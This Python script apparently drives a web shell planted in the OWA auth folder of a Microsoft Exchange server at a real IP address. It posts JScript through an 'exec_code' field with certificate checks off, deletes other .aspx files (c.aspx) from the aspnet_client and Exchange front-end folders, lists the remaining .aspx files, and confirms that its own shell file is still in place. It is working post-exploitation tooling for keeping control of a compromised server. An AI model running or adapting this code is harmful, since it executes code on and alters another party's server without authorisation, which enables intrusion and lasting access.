#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=40)
        return r.text.split('!BD')[0][:300]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:100]}"

targets = ["C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\c.aspx",
           "C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\c.aspx"]
for p in targets:
    code = ('try{{System.IO.File.Delete("{0}");Response.Write("DEL:"+!System.IO.File.Exists("{0}")+"@{0}");}}catch(e){{Response.Write("ERR:"+e.message);}}').format(p)
    print(repr(ev(code)), flush=True)

# 列出 wwwroot 下残留确认
print(repr(ev('var d=new System.IO.DirectoryInfo("C:\\\\inetpub\\\\wwwroot\\\\aspnet_client");var fs=d.GetFiles("*.aspx");var s="";for(var i=0;i<fs.Length;i++){s+=fs[i].Name+",";}Response.Write("ASPX:"+s);')), flush=True)
print(repr(ev('var f=new System.IO.FileInfo("C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\mdcajy.aspx");Response.Write("SHELL:"+f.Exists+"|"+f.Length);')), flush=True)